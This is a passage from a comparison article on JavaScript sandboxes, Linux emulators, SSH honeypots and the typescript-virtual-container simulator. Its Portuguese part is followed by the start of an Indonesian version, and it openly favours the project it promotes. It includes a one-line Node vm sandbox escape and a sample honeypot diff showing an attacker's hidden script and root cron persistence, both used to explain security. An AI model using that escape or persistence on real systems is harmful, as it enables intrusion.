Captura credenciais ✅ ✅ ❌ ✅ ✅ ✅
Captura comandos ✅ ✅ ❌ ✅ variável ✅
Captura malware ✅ ✅ ❌ ❌ ❌ ❌
Integração SIEM ✅ nativa ❌ ❌ ❌ ❌ manual
Respostas LLM ✅ (novo) ❌ ❌ ❌ ❌ ❌
Linguagem Python Python C Go Docker Node.js
Node.js nativo ❌ ❌ ❌ ❌ ❌ ✅
Status ✅ muito ativo ⚠️ arquivado ✅ ativo ✅ ativo ✅ ativo DIY

O padrão aqui é bem claro: quanto mais fidelidade você quer, mais Python você precisa escrever. Cowrie é o vencedor incontestável se você está fazendo isso a sério -- foi testado em campo por anos e captura muito mais que simples credenciais. endlessh e sshesame são projetos legais mais do que ferramentas sérias de inteligência de ameaças. E a abordagem ingênua em Node.js te leva talvez a 20% do caminho antes de você bater num muro.


Parte 5 -- typescript-virtual-container: o que preenche a lacuna

OK então agora as coisas ficam interessantes. Depois de catalogar todas as famílias acima, o quadrante faltante fica bastante evidente:

  • Os sandboxes JS: isolam código, sem shell, sem sistema de arquivos, sem SSH
  • Os emuladores Linux: SO real, shell real, SSH real... mas 150+ MB de RAM, 30 segundos de inicialização, e você precisa construir sua própria API por cima das E/S seriais
  • Os honeypots: shell falso, sem API programável, Python/Go/C, não nativo Node

Ninguém tinha construído um ambiente Linux completo, programável, nativo Node, com SSH real, permissões reais, rede virtual real e uma API TypeScript tipada. Então ela o construiu.

Pequena introdução já que é a primeira vez que a menciono devidamente: typescript-virtual-container foi construído por Chloé Rolzhausen, uma desenvolvedora francesa que se chama Fortune (ou ItsRealFortune) online. Você pode encontrá-la no seu site e no LinkedIn. Todo o projeto -- 56 000 linhas de TypeScript, 247 arquivos, 170 comandos -- foi um esforço solo de uma única pessoa. Vou chamá-la de Fortune pelo resto do artigo. E sim, é bem louco. Dá uma olhada no trabalho dela!

O que é realmente

typescript-virtual-container é um simulador de ambiente Linux escrito em TypeScript puro. Sem Wasm. Sem extensões nativas. Sem kernel. ~56 000 linhas de fonte distribuídas em 247 arquivos TypeScript.

A percepção chave: você não precisa de um emulador de CPU para fazer funcionar ls /etc | grep passwd. Você precisa de:

  1. Uma árvore de nós em memória que respondem a operações de caminho
  2. Um modelo de permissões POSIX aplicado a cada acesso
  3. Um parser de shell que entende pipelines, redirecionamentos, subshells e expansão de variáveis
  4. ~170 implementações de comandos (funções, não binários)
  5. Um sistema de gerenciamento de usuários e grupos
  6. Algo para expor tudo isso via SSH

Tudo isso é realizável em TypeScript puro sem qualquer envolvimento do kernel.

O VirtualFileSystem

O VFS é uma árvore em memória de nós tipados -- sem E/S de disco a menos que você ative explicitamente o modo de persistência "fs":

// Representação interna simplificada
type InternalNode =
  | { type: "file"; content: string | Uint8Array; mode: number; uid: number; gid: number; mtime: number }
  | { type: "dir"; children: Map<string, InternalNode>; mode: number; uid: number; gid: number }
  | { type: "symlink"; target: string }
  | { type: "device"; kind: "char" | "block"; read(): string; write(data: string): void }
  | { type: "stub" }; // placeholder carregado preguiçosamente

Cada operação de caminho passa por normalizePath (resolve ., .., links simbólicos) e enforceAccess (verifica permissões de leitura/escrita/execução em relação ao uid/gid solicitante). chmod, chown, sticky bits e setuid são todos implementados e realmente aplicados. Se um processo rodando como uid 1000 tenta ler um arquivo pertencente a root com modo 0600, ele obtém EACCES -- não um falso EACCES, um Error JavaScript real lançado a partir da verificação de permissão. Essa parte é bastante elegante honestamente.

O VFS se serializa em:

  • .vfsb -- um formato binário compacto (personalizado, com compressão fflate) -- é o formato padrão
  • Instantâneo JSON -- legível por humanos, bom para depuração
  • Arquivo TAR -- import/export com o formato tar real, então você pode tar -xf algo e o VFS simplesmente... tem esses arquivos
  • Imagem SquashFS -- import somente leitura

No modo de persistência "fs", ele mantém um log de escrita antecipada (WAL) para recuperação após queda -- as escritas vão primeiro para o log, depois para o instantâneo no flush. Se o Node cair no meio de uma operação, o log te permite reconstruir o último estado completo.

Há também uma camada FileCache que simula a latência de E/S de disco. Você configura perfis como NVME_DISK_IO ou HDD_DISK_IO e o VFS atrasa artificialmente as operações em arquivos para corresponder a temporizações realistas. O que é bastante engraçado -- um software que se desacelera intencionalmente para simular hardware -- mas na verdade muito útil para benchmarking.

O interpretador de shell

O parser do shell produz um AST tipado:

// "ls /etc | grep root && echo done" se analisa em:
{
  type: "statement",
  pipeline: [
    { name: "ls", args: ["/etc"], redirects: [] },
    { name: "grep", args: ["root"], redirects: [] }
  ],
  next: {
    op: "&&",
    statement: {
      type: "statement",
      pipeline: [{ name: "echo", args: ["done"], redirects: [] }],
      next: null
    }
  }
}

O executor percorre este AST:

  • Para um pipeline, ele cria uma cadeia de fluxos { stdin, stdout, stderr } e executa cada comando com E/S em pipeline
  • Para operadores lógicos (&&, ||), ele verifica $? após o lado esquerdo antes de executar o direito
  • Para subshells ($(...), ` `), ele bifurca o contexto de execução
  • Para redirecionamentos (>arquivo, >>arquivo, 2>&1, <arquivo), ele configura a ligação dos fluxos antes da execução
  • Para tarefas em background (cmd &), ele executa sem esperar o término
  • Para variáveis, ele expande $VAR, ${VAR:-default}, ${#VAR} e aritmética $((expr))
  • Para expansão de chaves ({a,b,c}, {1..5}), ele gera a lista de expansão completa antes de executar

Tudo isso é comportamento POSIX shell real. O parser gerencia heredocs, substituição de processo, globbing (*, ?, [abc]) e gerenciamento de aspas (aspas simples, aspas duplas com interpolação, escape por barra invertida). Não é perfeito -- casos limite existem -- mas está muito além do que você esperaria de um projeto TypeScript.

~170 comandos integrados

Os comandos são funções TypeScript registradas em um registro de comandos. Elas recebem um CommandContext com os fluxos stdin/stdout/stderr, o VFS, a sessão de usuário, o ambiente do shell e acesso a submódulos.

Escrever 170 implementações de comandos Unix é... muito. Algumas são triviais (echo, true, false), algumas são surpreendentemente complexas (awk, find, tar). Tipo, um awk POSIX completo? Em TypeScript? É louco honestamente. Aqui está uma amostra do que tem dentro:

cat, ls, cp, mv, rm, mkdir, rmdir, touch, chmod, chown, chgrp,
ln, readlink, find, locate, stat, file,
echo, printf, read, test, [, [[,
grep, sed, awk, cut, sort, uniq, wc, head, tail, tr,
ps, top, kill, pkill, nice, ionice,
ssh, scp, sftp (lado cliente, conexão de saída),
ping, curl, wget, nc, netstat, ss, ip, ifconfig, route,
apt, apt-get, apt-cache, dpkg, pacman,
useradd, usermod, userdel, groupadd, passwd, su, sudo,
tar, gzip, gunzip, bzip2, bunzip2, xz, unxz, zip, unzip,
git (stub), python3 (stub), node (stub),
nano (editor interativo completo), vim (básico), vi (básico),
neofetch, htop, tree, df, du, free, uptime, who, w, last,
cron (simulado), systemctl (stub), journalctl (stub),
...e cerca de 130 outros

Os "stubs" (git, python3, node) respondem de maneira realista a invocações comuns -- python3 --version retorna uma string de versão crível, git status mostra um estado de repositório fictício -- sem fazer trabalho real. Para um honeypot, são na verdade mais úteis que os comandos reais, porque permitem observar o que os atacantes tentam executar sem executar nada perigoso.

O servidor SSH

A camada SSH usa o pacote npm real ssh2 -- protocolo SSH real, troca de chaves real, criptografia real. SSHMimic o envolve:

import { VirtualSshServer } from "typescript-virtual-container";

const ssh = new VirtualSshServer({
  port: 2222,
  hostname: "prod-server-01",
  shellProperties: {
    kernel: "5.15.0-91-generic #101-Ubuntu SMP",
    os: "Ubuntu 22.04.3 LTS",
    arch: "x86_64",
  },
});
await ssh.start();
// SSH real: ssh -p 2222 root@localhost
// SFTP real: sftp -P 2222 root@localhost
// SCP real: scp -P 2222 file root@localhost:/tmp/

As shellProperties determinam o que uname -a, lsb_release -a, neofetch, /proc/version e /etc/os-release reportam. Você pode imitar qualquer distribuição Linux e versão de kernel de maneira convincente -- para um cliente SSH real, não há literalmente nenhuma maneira de diferenciar.

O módulo HoneyPot

Porque o interpretador de shell é real e o servidor SSH é real, os comandos dos atacantes realmente executam no ambiente virtual. Requisições wget disparadas pelo atacante são registradas com as URLs de destino. Arquivos criados pelo atacante são salvos no VFS. Tentativas de escalonamento de privilégio do atacante produzem erros realistas.

import { VirtualSshServer, HoneyPot, diffSnapshots } from "typescript-virtual-container";

const pot = new HoneyPot({
  onCommand: (session, cmd) => threatIntel.record({ cmd, ip: session.remoteAddress }),
  onDownload: (session, url) => malwareAnalysis.queue(url),
  onAuthentication: (username, password, accepted) => credHarvest.log({ username, password }),
});

const ssh = new VirtualSshServer({ port: 22, honeypot: pot });
await ssh.start();

// Após uma sessão, diferenciar o sistema de arquivos
const before = shell.vfs.toSnapshot();
// ... sessão do atacante ...
const after = shell.vfs.toSnapshot();
const diff = diffSnapshots(before, after);
/*
  diff = [
    { op: "create", path: "/tmp/.hidden/bot.sh", content: "#!/bin/bash\ncurl..." },
    { op: "chmod", path: "/tmp/.hidden/bot.sh", from: 0o644, to: 0o755 },
    { op: "create", path: "/var/spool/cron/root", content: "* * * * * /tmp/.hidden/bot.sh" }
  ]
*/

Isso é qualitativamente diferente do Cowrie. O sistema de arquivos falso do Cowrie pode responder a ls mas não pode realmente rastrear os arquivos que um atacante criou e as modificações que ele fez como um diff estruturado. typescript-virtual-container pode, porque o VFS é uma estrutura de dados viva -- cada escrita é rastreada. Aquela entrada cron que o atacante acabou de adicionar? Está no diff. Aquela pasta .hidden? No diff. Bastante útil para análise de malware.

A pilha de rede virtual

Esta é provavelmente a parte mais impressionante de todo o projeto, e não tem equivalente em nenhum outro projeto neste espaço. Tipo, uma pilha de rede virtual L2/L3 completa com suporte a VPN, escrita em TypeScript puro, sem nenhuma placa de rede real envolvida. É realmente louco.

VirtualNetworkManager dá a cada instância VirtualShell interfaces de rede virtual com endereços IP configuráveis, tabelas de roteamento e um firewall de software (regras estilo iptables com conntrack e NAT). ip addr, ip route, iptables -L, netstat -rn mostram todos o estado da rede virtual.

VirtualSwitch (nomeado Baie -- da palavra francesa para rack de servidores, "baie informatique") conecta múltiplos shells em uma sub-rede compartilhada. Ele implementa:

  • Aprendizado MAC e ARP
  • Roteamento IP entre sub-redes
  • NAT (masquerade de saída)
  • DNS (registros configuráveis por sub-rede)
  • Balanceamento de carga (round-robin, menor número de conexões)
  • Modelagem de tráfego: latência, jitter (distribuição gaussiana), perda de pacotes, perda por rajadas, reordenação, duplicação
  • Limitação de banda (balde de fichas)
  • Aplicação MTU
  • Rastreamento de conexão (com estado, estados NEW/ESTABLISHED/TIME_WAIT)
const baie = new Baie("192.168.0.0/24");

// Três máquinas virtuais no mesmo switch
const web = new VirtualShell("web");
const api = new VirtualShell("api");
const db  = new VirtualShell("db");

baie.attach(web, "192.168.0.2");
baie.attach(api, "192.168.0.3");
baie.attach(db,  "192.168.0.4");

// Firewall: web pode alcançar api, api pode alcançar db, web não pode alcançar db diretamente
baie.addFirewallRule({ src: "192.168.0.2", dst: "192.168.0.4", proto: "tcp", action: "DROP" });

// Modelagem de tráfego: simular um link WAN instável para fora
baie.setInterface("192.168.0.2", { latencyMs: 50, jitterMs: 10, packetLoss: 0.001 });

VirtualVpn cria túneis criptografados entre instâncias de Baie -- você pode simular uma rede multi-site com interconexões VPN entre sites.

VirtualProxy implementa forwarding de portas e um proxy SOCKS5.

Nada disso toca uma placa de rede real. É tudo roteamento de objetos TypeScript. O comando ping "funciona" roteando via o switch virtual e retornando respostas ICMP simuladas. curl http://192.168.0.3/api roteia via a rede virtual, alcança a resposta HTTP simulada do shell api e retorna o conteúdo. São tartarugas até o fundo, no melhor sentido possível.

O SandboxedShell

Para uso programático onde você precisa de um isolamento mais forte, SandboxedShell executa uma sessão shell em uma thread Worker Node.js:

import { SandboxedShell } from "typescript-virtual-container";

const shell = new SandboxedShell({
  memoryMB: 128,
  cpuQuota: 0.25, // 25% de um núcleo
  timeoutMs: 5000,
});

const result = await shell.exec("ls /etc | grep -c .");
console.log(result.stdout); // "42\n"
console.log(result.exitCode); // 0

O isolamento aqui é garantido pela camada VFS (o shell da thread worker só pode ver o sistema de arquivos virtual, nunca o sistema de arquivos hospedeiro) mais o isolamento de memória da thread Worker Node.js. É mais leve que isolated-vm mas mais apropriado para isolamento no nível shell em vez de nível JS.

Limitação de recursos

Você pode configurar limites de recursos por shell que afetam o que os comandos de monitoramento do sistema reportam:

const shell = new VirtualShell("limited-vm", {}, {}, {
  maxRamMB: 512,
  maxCpuCores: 2,
});

Dentro deste shell, free -m mostra 512 MB de RAM total. nproc retorna 2. /proc/meminfo mostra os valores limitados. htop e top mostram o número de CPUs limitado. Isso te permite definir precisamente a pegada de hardware da máquina simulada.

Três modos de implantação

Modo 1 : Servidor SSH/SFTP
  VirtualSshServer / VirtualSftpServer
  → Protocolo SSH real, SFTP real, SCP real
  → Caso de uso: honeypots, ambientes de teste remotos, laboratórios de treinamento

Modo 2 : Shell web (navegador)
  builds/fortune-nyx-v1.7.8-web.min.js (bundle ESM)
  → Roda no navegador, VFS persistido em IndexedDB
  → Caso de uso: tutoriais interativos, terminais embarcados, demos
  → Bônus: executa startxfce4 para um desktop XFCE completo simulado

Modo 3 : CLI autônomo
  builds/fortune-nyx-v1.7.8-directbash-k6.1.0.mjs (arquivo único, sem instalação)
  → curl e executa, VFS persistido no diretório .vfs/
  → Caso de uso: demos rápidas, experimentação local

Os polyfills -- como o build de navegador funciona sem Wasm

OK esta é a parte que acho realmente inteligente e que queria destacar especialmente.

Fazer uma biblioteca Node.js funcionar no navegador é geralmente um pesadelo. Ou você usa um runtime Wasm (pesado, lento para carregar) ou passa semanas substituindo manualmente cada import node:* por uma alternativa compatível com navegador. Fortune fez a segunda coisa -- mas muito limpa, escrevendo um conjunto de polyfills personalizados que vivem no diretório polyfills/ do repositório.

A pipeline de build é apenas esbuild com um monte de entradas alias:

// demo/build.js -- toda a configuração do build de navegador
esbuild.build({
  entryPoints: ['app.ts'],
  bundle: true,
  platform: 'browser',
  alias: {
    'node:events':         '../polyfills/node_events/index.js',
    'node:path':           '../polyfills/node_path/index.js',
    'node:os':             '../polyfills/node_os/index.js',
    'node:fs':             '../polyfills/node_fs/index.js',
    'node:fs/promises':    '../polyfills/node_fs/promises.js',
    'node:crypto':         '../polyfills/node_crypto/index.js',
    'node:child_process':  '../polyfills/node_child_process/index.js',
    'node:zlib':           '../polyfills/node_zlib/index.js',
    'node:vm':             '../polyfills/node_vm/index.js',
    'node:net':            '../polyfills/node_net/index.js',
    'node:url':            '../polyfills/node_url/index.js',
    'node:worker_threads': '../polyfills/node_worker_threads/index.js',
    'ssh2':                '../polyfills/ssh2/index.js',
    'roxify':              '../polyfills/roxify.js',
  },
  inject: ['../polyfills/process.js', '../polyfills/buffer.js'],
  minify: true,
  treeShaking: true,
});

Sem Wasm. Sem biblioteca de polyfills externa. Sem truques de webpack-node-externals. Apenas módulos aliasados e algumas globais injetadas. Deixa eu detalhar cada um porque alguns são realmente impressionantes.

node:fs -- IndexedDB como sistema de arquivos falso

Este é meu favorito. O polyfill node:fs implementa a API síncrona Node.js fs (readFileSync, writeFileSync, existsSync, readdirSync, mkdirSync, unlinkSync, statSync...) sustentada por duas camadas: um Map em memória para leituras síncronas, e IndexedDB para persistência entre recarregamentos de página. As escritas vão para o Map imediatamente (então readFileSync logo após writeFileSync sempre funciona), depois são descarregadas para IndexedDB de forma assíncrona em segundo plano.

// Cache síncrono (caminho → Uint8Array | null) -- leituras instantâneas
const memCache = new Map();

// Pré-carregar tudo do IndexedDB para memCache na inicialização
openDB().then(db => {
  const tx = db.transaction(STORE, 'readonly');
  const req = tx.objectStore(STORE).openCursor();
  req.onsuccess = e => {
    const cursor = e.target.result;
    if (!cursor) return;
    memCache.set(cursor.key, cursor.value);
    cursor.continue();
  };
});

Esta é a razão pela qual o instantâneo VFS sobrevive a recarregamentos de página no navegador -- o binário .vfsb inteiro é escrito no IndexedDB através deste polyfill, e relido no próximo carregamento. Sem Wasm. Sem servidor. Apenas IndexedDB, que está em todos os navegadores desde tipo 2011.

node:crypto -- SHA-256 em JS puro

Em vez de importar uma biblioteca crypto Wasm, o polyfill crypto implementa SHA-256 do zero usando as constantes de rodada FIPS 180-4. 166 linhas de JS puro com suporte completo a saídas hex/base64/Uint8Array. Toda a hash na biblioteca passa por aqui -- a impressão digital das chaves de hospedeiro SSH, somas de verificação internas, tudo. Compacto, zero dependência, funciona.

node:os -- lê o hardware real do navegador

Esta é um belo toque. Em vez de retornar valores fictícios codificados, node:os lê navigator.deviceMemory para RAM total e navigator.hardwareConcurrency para número de CPUs. Então neofetch no build de navegador na verdade reporta algo que corresponde à sua máquina real -- não um stub falso 2 núcleos, 2 GB de RAM.

export function totalmem(){
  return navigator?.deviceMemory
    ? navigator.deviceMemory * 1024 * 1024 * 1024
    : 2 * 1024 * 1024 * 1024; // 2 GB padrão
}
export function cpus(){
  const n = navigator?.hardwareConcurrency || 2;
  // também analisa navigator.userAgent para adivinhar a string do modelo CPU
  return Array.from({ length: n }, () => ({ model, speed: 2400 }));
}

node:net, ssh2, roxify -- stubs honestos

O navegador não pode abrir sockets TCP ou executar SSH real, então estes são stubs que lançam um erro NotImplemented com uma mensagem clara se algo tentar usá-los. Sem falha silenciosa, sem undefined retornado onde um objeto é esperado. Apenas uma mensagem forte e clara "isso não funciona no navegador" -- que é exatamente o que você quer.

process.js e buffer.js -- globais injetadas

Estes dois são injetados no topo de cada arquivo do bundle via a opção inject do esbuild, então process e Buffer estão disponíveis globalmente sem nenhum import explícito. process.js é minúsculo: env, version, platform: 'browser', nextTick via queueMicrotask, uptime via performance.now(). buffer.js é uma reimplementação completa de Buffer sobre Uint8Array -- todos os métodos readUInt32BE, writeInt16LE, as codificações hex/base64 das quais a implementação SSH e o VFS dependem.


O conjunto de polyfills tem cerca de 640 linhas de JS escrito à mão no total. Sem pacotes npm. Sem Wasm. E o resultado é um bundle de navegador que é apenas a biblioteca, rodando nativamente, sem nenhuma da ansiedade habitual do "mas será que realmente funciona no navegador?" que você tem com bibliotecas projetadas para Node primeiro. Vale a pena dar uma olhada na pasta polyfills/ no repositório se você estiver curioso -- cada arquivo é bem contido e legível por si só, o que é uma escolha de estilo que aprecio muito.

vm isolated-vm quickjs-emscripten v86 CheerpX WebContainers Cowrie typescript-virtual-container
Categoria Sandbox JS Sandbox JS Sandbox JS Emulador Emulador Node.js/Wasm Honeypot Simulador
Isola JS ⚠️ escopo ✅ V8 Isolate ✅ Wasm n/a n/a parcial n/a ✅ Worker
Kernel Linux real ❌ ❌ ❌ ✅ ✅ ❌ ❌ ❌
Interpretador shell ❌ ❌ ❌ ✅ (real) ✅ (real) ✅ (real) parcial ✅ (personalizado)
~170 comandos Unix ❌ ❌ ❌ ✅ ✅ parcial ~20 ✅
Permissões POSIX ❌ ❌ ❌ ✅ ✅ ✅ parcial ✅ aplicadas
Gerenciamento usuários ❌ ❌ ❌ ✅ ✅ ❌ mínimo ✅ completo
Servidor SSH real ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
SFTP / SCP ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
Honeypot/auditoria ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
Diff/instantâneo VFS ❌ ❌ ❌ limitado ❌ ❌ ❌ ✅
Rede virtual L2/L3 ❌ ❌ ❌ básico ❌ ❌ ❌ ✅ completo
VPN virtual ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
Suporte navegador ❌ ❌ ✅ ✅ ✅ ✅ ❌ ✅
Node.js nativo ✅ ✅ ✅ ✅ ❌ ❌ ❌ ✅
API tipada básica ✅ ✅ mínima ❌ ✅ ❌ ✅ completa
Compatibilidade binária n/a n/a n/a ✅ ✅ parcial n/a ❌
Tempo inicialização instantâneo instantâneo instantâneo 15-40s 15-40s 2-5s instantâneo <1s
RAM/instância ~1 MB ~3-10 MB ~5-15 MB 150-256 MB 200+ MB ~100 MB ~50 MB ~5-20 MB
Dependências runtime 0 1 (nativa) 1 (Wasm) 0 proprietário 1 dependências Python 3 (ssh2, ws, fflate)
Status estável ✅ ativo ✅ ativo ✅ muito ativo comercial ✅ ativo ✅ ativo ✅ ativo

Quando usar o quê

Você precisa executar JavaScript não confiável -- uma fórmula submetida por usuário, um plugin, um hook de script.
→ isolated-vm. Verdadeiro V8 Isolate, limites de memória estritos, ponte de comunicação explícita. Evite vm2 -- a lista de CVEs só aumenta, sério, é tipo uma nova a cada poucos meses. Evite vm -- não é um sandbox, por favor.

Você precisa isolar JS e não quer extensão nativa, ou precisa de compatibilidade com navegador.
→ quickjs-emscripten. Fronteira Wasm, módulo de cerca de 500 KB, funciona em navegadores e Node. Mais lento que V8 mas realmente isolado.

Você precisa iniciar um SO Linux real não modificado com compatibilidade binária.
→ v86 para Linux 32-bit, ou container2wasm se você tem uma imagem Docker existente. Aceite 150 MB+ de RAM e 30 segundos de inicialização, é o acordo. Se precisar de 64-bit, olhe CheerpX ou use um runtime de contêiner real.

Você precisa embutir um terminal tipo Linux em uma aplicação web sem backend.
→ v86 (SO completo, pesado, lento para iniciar) ou o bundle de navegador do typescript-virtual-container (simulador, mais leve, inicialização instantânea, inclui startxfce4 para um desktop completo o que é bem legal).

Você precisa de tutoriais de código interativos online ou um IDE no navegador.
→ WebContainers se você está focado no ecossistema Node.js. CheerpX se você precisa de um userspace Linux real. O bundle de navegador do typescript-virtual-container se você quer uma opção mais leve com API tipada.

Você quer coletar TTPs de atacantes SSH em larga escala.
→ Cowrie é o padrão de produção, ponto final. Roda em qualquer servidor Linux, integra com todos os SIEMs, tem modo LLM agora. Use Cowrie.

Você quer dados de honeypot SSH em uma aplicação Node.js com API programável.
→ typescript-virtual-container. Os comandos realmente executam. O VFS é uma estrutura de dados real que você pode instantaneamente capturar e diferenciar. O atacante obtém um ambiente interativo convincente, e você obtém dados de auditoria estruturados sem sair do Node.

Você precisa de automação shell / testes em CI sem Docker.
→ typescript-virtual-container. Inicia em menos de um segundo, instantâneo antes de um teste, restauração depois. Executa comandos shell com API tipada. Sem daemon Docker, sem kernel, sem VM, sem espera.

Você precisa de ambientes shell multi-inquilino (SaaS, educação, treinamento).
→ typescript-virtual-container. 5-20 MB por instância vs. 150-256 MB para um emulador. 100 usuários simultâneos: ~2 GB vs. ~25 GB. É uma grande diferença em custos de hospedagem!

Você precisa de um honeypot realista que também te permita construir um laboratório de rede multi-VM.
→ typescript-virtual-container é a única coisa neste espaço que faz ambos.


O que ele não pode fazer (e quero ser honesto sobre isso)

Ele não pode executar binários x86 nativos. Se você precisa compilar código C, executar um interpretador Python real, ou usar software compilado para Linux, não há uma ABI de kernel para suportar essas chamadas de sistema. Comandos como gcc, python3 e node são stubs -- eles respondem a --version e invocações comuns, mas não executam nada real.

Esta é a troca fundamental: você ganha 10 a 50 vezes menos memória, inicialização instantânea, compatibilidade com navegador, API tipada, SSH real e rede virtual -- e você abandona a compatibilidade binária com o userspace Linux.

Fortune pensou muito sobre isso ao projetar o projeto. Para os casos de uso que ela visava -- honeypots, testes, terminais embarcados, ambientes CI -- executar um binário compilado nunca é realmente necessário. Pipelines shell, manipulação de arquivos, roteamento de rede e SSH cobrem tudo. Mas se seu caso de uso requer software compilado real, v86 ou Docker é a resposta certa, não isso.


Para concluir

Então é isso. Este ecossistema é mais amplo e mais fragmentado do que parece de fora. vm é um separador de escopo, não um sandbox. vm2 continua acumulando CVEs (sério, olhe os avisos deste mês). isolated-vm é a resposta certa para isolamento JS mas JS apenas. quickjs-emscripten é a escolha certa quando você precisa de compatibilidade com navegador ou quer evitar extensões nativas. v86 e CheerpX são verdadeiros emuladores quando você precisa de compatibilidade binária real. WebContainers é Node.js em Wasm, não um ambiente Linux de propósito geral. Cowrie é o padrão-ouro dos honeypots SSH, mas é Python e não nativo Node.

E então tem o typescript-virtual-container -- o projeto da Fortune -- que vive um pouco em sua própria categoria. Não é um emulador, não é um sandbox JS, não é um honeypot passivo. Algo entre todos que se mostrou surpreendentemente útil para muitas coisas que nenhum dos outros pode fazer.

typescript-virtual-container preenche a lacuna que nenhum dos outros toca: um ambiente shell Linux completo e programável com SSH real, SFTP, permissões POSIX, gerenciamento de usuários, rede virtual e uma API TypeScript tipada -- rodando em cerca de 10 MB, iniciando em menos de um segundo, funcionando tanto no Node.js quanto no navegador.

Se você quiser experimentar: o código fonte está em github.com/itsrealfortune/typescript-virtual-container e há uma demo online (incluindo startxfce4 para um desktop completo, que é francamente doentio) em itsrealfortune.fr/typescript-virtual-container/demo. Vá dar uma olhada e deixe algumas estrelas para Fortune no GitHub, ela merece!

Obrigado por ler -- este foi longo até para meus padrões :) espero que tenha sido útil!


Fontes

Tentei ligar cada afirmação a uma fonte primária -- avisos CVE, docs oficiais, repositórios GitHub, posts de blog dos mantenedores. Algumas notas: a lista de CVEs do vm2 continua crescendo então o link do FortiGuard pode estar desatualizado quando você ler isto (veja a página de avisos do GitHub para as mais recentes). Os links do Bellard são todos estáveis -- o site pessoal dele está lá desde sempre e o conteúdo não muda. E se você quiser se aprofundar em algum dos polyfills, basta percorrer a pasta polyfills/ no repositório typescript-virtual-container diretamente -- é mais legível que qualquer descrição que eu poderia escrever aqui.

Sandboxes JavaScript

Emuladores Linux

Stack de terminal

Honeypots

typescript-virtual-container

Leituras complementares

Perbandingan Solusi JavaScript untuk Simulasi Kernel Linux

Analisis mendalam tentang rekonstruksi lingkungan Linux dalam

Setiap JavaScript sandbox, emulator, simulator, dan honeypot Linux -- dibandingkan

Baik, jadi sudah cukup lama saya terlalu jauh masuk ke lubang kelinci ini lol. Semua dimulai karena saya membantu di typescript-virtual-container -- sebuah proyek Fortune (saya akan bahas nanti) -- dan saya terus ditanya "tunggu, apa bedanya dengan v86?" atau "kenapa tidak pakai vm2?" -- dan saya sadar bahwa saya tidak bisa memberikan jawaban yang jelas tanpa memetakan seluruh ekosistem terlebih dahulu. Jadi beginilah hasilnya, saya kira xD

Ternyata ada empat keluarga yang berbeda -- JS sandbox, emulator Linux, simulator Linux, dan honeypot -- dan mereka hampir tidak pernah tumpang tindih, meskipun selalu disebutkan dalam kalimat yang sama. Seseorang yang membangun sistem plugin menggunakan isolated-vm. Seseorang yang membuat demo alat CLI menggunakan v86. Seseorang yang melakukan intelijen ancaman SSH menggunakan Cowrie. Mereka memecahkan masalah yang sama sekali berbeda di bawah payung "menjalankan kode dalam kotak" yang samar-samar.

Saya menghabiskan banyak waktu membaca kode sumber, laporan CVE, dokumen arsitektur, dan halaman npm untuk menulis artikel ini. Ini akan panjang -- ambil kopi, sungguh. Atau dua.

Disclaimer kecil: typescript-virtual-container ditonjolkan dalam artikel ini karena itulah yang memicu riset ini. Saya sudah berusaha bersikap adil terhadap yang lainnya, tapi ingatlah konteks ini.


Bagian 0 -- Pertama, masalah apa yang sebenarnya kamu selesaikan?

Sebelum melompat, ada baiknya kita tepat tentang kegunaan setiap keluarga, karena terminologi cepat menjadi kacau dan orang-orang terus mencampuradukkan semuanya (saya juga, sebelum saya duduk dan memetakan semuanya dengan rapi).

JS sandbox mengisolasi kode JavaScript dari proses Node.js host. Model ancamannya adalah: kode JS tidak terpercaya yang mungkin memanggil process.exit(), membaca file, atau meluncurkan proses anak. Solusinya adalah batasan di sekitar eksekusi V8. Alat-alat ini tidak memiliki konsep shell Linux, sistem file dengan izin, atau SSH.

Emulator Linux menjalankan kernel Linux asli yang tidak dimodifikasi di dalam emulator CPU (x86, RISC-V, OR1K) yang diimplementasikan dalam JavaScript atau WebAssembly. Kamu menjalankan OS sungguhan. Kamu mendapat syscall sungguhan. Kamu mendapat kompatibilitas biner dengan program yang dikompilasi untuk x86. Biaya sumber daya sangat besar.

Simulator Linux meniru perilaku sistem Linux tanpa menjalankan kernel sungguhan. Mereka mengimplementasikan interpreter shell, sistem file virtual, dan semantik Unix yang cukup untuk mengelabui program dan manusia. Tanpa kernel. Tanpa Wasm. Tanpa emulasi CPU. Jauh lebih sedikit sumber daya.

Honeypot dirancang untuk menarik penyerang dan merekam apa yang mereka lakukan. Mereka bukan terutama lingkungan eksekusi -- mereka adalah alat observabilitas. Kesetiaan terhadap perilaku Linux yang sebenarnya hanya penting sejauh mencegah penyerang mendeteksi jebakan.

Dengan kerangka ini, berikut posisi setiap proyek dalam artikel ini:

JS sandbox :       vm, vm2, isolated-vm, quickjs-emscripten, Deno Workers, ShadowRealm
Emulator Linux :   v86, JSLinux/TinyEMU, jor1k, CheerpX, WebContainers, container2wasm
Simulator Linux :  typescript-virtual-container (unik di ruang ini)
Honeypot :         Cowrie, Kippo, Lyrebird, endlessh, sshesame, node-simple-ssh-honeypot
Stack terminal :   xterm.js + node-pty (bukan pengisolasi, tapi terkait)

Bagian 1 -- JavaScript Sandbox

1.1 vm -- modul bawaan Node.js (bukan seperti yang kamu kira)

Jawaban paling awal untuk "menjalankan JS tidak terpercaya" di Node adalah modul bawaan vm. Ia sudah ada sejak v0.1, jadi banyak orang menggunakannya pertama kali -- dan terbakar.

const vm = require("vm");
const sandbox = { answer: 0 };
vm.createContext(sandbox);
vm.runInContext("answer = 6 * 7", sandbox);
console.log(sandbox.answer); // 42

Apa yang sebenarnya dilakukan vm: ia membuat konteks V8 baru (satu set konstruktor bawaan baru -- Object, Array, Function, dll.) dan mengeksekusi kode di dalamnya, dengan referensi bersama ke apa yang kamu masukkan ke sandbox. Mesin V8-mu tidak berubah. Prosesmu tidak berubah. Memori dibagikan.

Alasan mengapa vm tidak memberikan keamanan apa pun: rantai prototipe JavaScript adalah DAG yang menghubungkan semuanya ke Object.prototype. Jika kamu meletakkan objek dari dunia host ke dalam sandbox, tamu dapat menaiki rantai prototipenya dan mencapai konstruktor host. Dari Function, kamu dapat memanggil Function("return process")() dan mendapatkan process asli. Game over. Langsung.

// Ini berhasil dengan sempurna di vm -- kamu mendapatkan process asli
vm.runInNewContext(`({}).__proto__.constructor("return process")()`);

